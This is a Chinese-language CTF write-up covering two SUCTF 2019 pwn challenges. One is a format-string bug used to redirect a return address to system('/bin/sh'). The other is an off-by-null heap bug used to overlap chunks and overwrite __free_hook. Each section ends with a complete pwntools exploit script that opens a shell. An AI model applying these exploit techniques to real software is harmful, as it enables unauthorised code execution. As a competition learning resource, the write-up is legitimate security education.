XCTF SUCTF-2019 pwn writeup

SUCTF 2019 部分pwn writeup

0x01 playfmt

程序分析

如图,32位的程序。没有开启PIEcanary

拖进IDA中反编译看伪代码。main函数中做了一系列和堆相关的操作,但是do_fmt函数中的格式化字符串漏洞可以直接完成漏洞利用getshell,直接进入do_fmt函数,函数中存在明显的格式化字符串漏洞,而且这个是在while(1)中无限循环,直到输入“quit”才会return。格式化漏洞的具体漏洞原理请看最后的参考资料。

漏洞利用

在漏洞函数中的printf(buf)后下断点,查看一下栈的状态。

如图可以清晰的看到,格式化字符串的第7个参数是do_fmt函数的返回地址,而第6个参数中的指针指向offset为14的栈上,而offset为14的栈中存放着一个栈的地址。因此,利用思路为,用%8$x泄露出libc的地址,用%6$x泄露出栈的地址,然后减法得出返回地址所在的栈地址,再用%*c$6hn将offset为14的栈上的地址的低二字节改写成返回地址所在的地址,然后就可以用%*c$14hn将返回地址的低2字节覆盖成system函数的低2字节,然后将offset为14的栈上的地址改写成返回地址所在的栈地址加2,就可以将返回地址的高2字节覆盖成system地址的高2字节,就成功将返回地址覆盖成system函数的地址了。然后再用同样的方式,将libc中的“/bin/sh”字符串的地址写到返回地址的参数(offset为9)的栈上,输入“quit”触发return,即可getshell。

详细的操作请看以下exp,结合调试很容易明白。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#-*-coding:utf8-*-
from pwn import *

p = process("./playfmt")
#p = remote('120.78.192.35',9999)
elf = ELF("./playfmt")
#libc = ELF('./libc-2.23.so')
libc = elf.libc

def leak(index):
p.sendline("a%" + str(index) + "$x")
p.recvuntil("a")
data = int(p.recvuntil('\n', drop=True), 16)
return data

def change(n,num):
pattern = "%{}c%{}$hn.."
payload = pattern.format(num,n)
print(payload)
p.sendline(payload)
p.recvuntil("..")

def pwn():
p.recvuntil("Server\n=====================\n")
p.sendline("%8$p.")
data = int(p.recvuntil(".",drop = True),16)
libc.address = data- 0x1b0000
log.success("libc address : " + hex(libc.address))
system = libc.symbols['system']
log.success("system : " + hex(system))
binsh = next(libc.search('/bin/sh'))
log.success("binsh : " + hex(binsh))

stack_14 = leak(6)
stack_7 = stack_14 - 0x1c
log.success('stack_7 : '+hex(stack_7))

change(6, stack_7 & 0xffff)
change(14, system & 0xffff)

change(6, (stack_7+2) & 0xffff)
change(14, system >> 16 & 0xffff)


stack_9 = stack_7 + 8
log.success('stack_9 : ' + hex(stack_9))
change(6, stack_9 & 0xffff)
change(14, binsh & 0xffff)

change(6, (stack_9+2) & 0xffff)
change(14, binsh >> 16 & 0xffff)

#gdb.attach(p, 'b *0x080488a4')
p.sendline("quit")
pwn()
p.interactive()

# addr & 0xffff 取低两字节
# addr >> & 0xffff 取高两字节

参考资料

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro-zh/

https://www.anquanke.com/post/id/85785

https://veritas501.space/2017/04/28/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/

0x02 二手破电脑

程序分析

如图,32位程序,保护全开

程序提供了4个功能,分别是:purchase、comment、throw、rename

main函数

如下图,main函数中会申请一个40字节的堆块,用于存放10个结构体指针。这个List指针作为参数传递给各个功能函数。

存在漏洞的purchase功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struc_1 **__cdecl purchase(struc_1 **List)
{
struc_1 **result; // eax
struc_1 *target; // esi
size_t size; // [esp+4h] [ebp-14h]
int price; // [esp+8h] [ebp-10h]
int index; // [esp+Ch] [ebp-Ch]

for ( index = 0; index >= 0 && index <= 9 && List[index]; ++index )
{
if ( index > 9 )
return (struc_1 **)puts("list full");
}
List[index] = (struc_1 *)malloc(0x10u);
List[index]->conment = 0;
printf("Name length: ");
__isoc99_scanf("%d", &size);
if ( (signed int)size > 0 && (signed int)size <= 0x200 )
{
printf("Name: ");
target = List[index];
target->name = (char *)read_name(size); //off by null
printf("Price: ");
__isoc99_scanf("%d", &price);
List[index]->price = price;
result = (struc_1 **)printf("Now Computer %s is yours\n\n", List[index]->name);
}
else
{
free(List[index]);
result = &List[index];
*result = 0;
}
return result;
}

其中,struc_1结构体定义如下:

读取name的函数:

红框处实际运行时就是scanf(“%s”, name),这里是存在空字节溢出的。当输入的字符串长度等于传递过来的size时,由于scanf函数的自动补0,会溢出一个空字节。

comment功能

可以看到,comment功能申请一个固定大小的堆块,往里读入comment字符串,然后向结构体的score成员变量读入一个整数。

throw功能

释放结构体和相关堆块,没有存在漏洞。

rename功能

rename功能是没有返回的,其中有一个magic函数。raname功能的操作比较骚气,看的出来是出题人用来实现漏洞利用并且加了一些限制的。但是我在漏洞利用的时候并没有用到这个功能,可能有点算非预期吧。由于我没有用到,这里就不赘述了。

漏洞利用

  • 通过unsorted bin的双向链表来泄露出堆的地址和libc的地址。

  • 32位下,如果申请的size是4字节对齐而非8字节对齐时,glibc的内存管理会使用内存复用,即下一个chunk的pre_size域同时作为当前chunk的数据域的最后八字节。因此我们可以通过内存复用和空字节溢出,覆盖到下一个chunk的size域,将pre_inuse置零,pre_inuse置零后,下一个chunk的pre_size域也会生效,因此,可以通过控制pre_size域伪造chunk,经过巧妙的构造造成堆块的堆叠。

  • 通过off by null 空字节溢出漏洞,造成块堆叠。然后通过块堆叠将List中的某个结构体指针修改成List的指针,释放掉,就可以将List这个堆块申请出来,再通过它和comment功能中的读取整数score功能修改free_hooksystem函数地址,free掉一个有/bin/sh的堆块即可get shell。

具体操作请看以下EXP,类似的漏洞利用原理可以参考RCTF2018的babyheap

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#-*-coding:utf8-*-
from pwn import *

if args['REMOTE']:
p = remote('47.111.59.243', 10001)
else:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

def purchase(name_lengh, name, price):
p.sendlineafter('>>> ', '1')
p.sendlineafter('Name length: ', str(name_lengh))
p.sendlineafter('Name: ', name)
p.sendlineafter('Price: ', str(price))

def throw(index):
p.sendlineafter('>>> ', '3')
p.sendlineafter('WHICH IS THE RUBBISH PC? Give me your index: ', str(index))

def comment(index, comment, score):
p.sendlineafter('>>> ', '2')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Comment on', comment)
p.sendlineafter('And its score: ', str(score))


def leak():
purchase(0x8c, 'a', 10) #0
purchase(0x8c, 'a', 10) #1
purchase(0x8c, 'a', 10) #2
purchase(0x8c, 'a', 10) #3
throw(1)
throw(0)
comment(2, '', 10)
throw(2)
p.recvuntil('Comment \n')
leak = p.recvuntil(" will",drop = True)
libc.address = u32("\xf8" + leak[0:3]) - 0x1b07f8
heap_base = u32(leak[3:7]) - 0x48
log.success('libc base: ' + hex(libc.address))
log.success('heap base: ' + hex(heap_base))
#gdb.attach(p)
return heap_base

def overlapping():
purchase(0x88, 'a1', 10) #0
purchase(0x88, 'a1', 10) #1
purchase(0x88, 'a1', 10) #2

purchase(0x78, 'b1', 10) #4 reamain name:0x68
purchase(0x4c, 'b2', 10) #5 struct:0x18 name:0x50
throw(4)
purchase(0xf8, 'b3', 10) #4
purchase(0x100, '/bin/sh', 10) #6
throw(5)
purchase(0x4c, 'q'*0x48+p32(0xd0), 10) #5
throw(4)
#gdb.attach(p)
#0 1 2 3 (4) 5 6

def ow(heap_base):
free_hook = libc.symbols['__free_hook']
log.success('free hook: ' + hex(free_hook))
payload = 'a'*0x60 + p32(0) + p32(0x19) + p32(heap_base+0x8) + p32(0)
purchase(0x1c8, payload, 10) #4
throw(5)
purchase(0x28, p32(free_hook-0xc), 10) #0
one_gadget = libc.address+0x5f066
system = libc.symbols['system']
log.success('system: ' + hex(system))
comment(0, 'aaaa', system-0xffffffff-1)
throw(6)
#gdb.attach(p)

heap_base = leak()
overlapping()
ow(heap_base)

p.interactive()
0%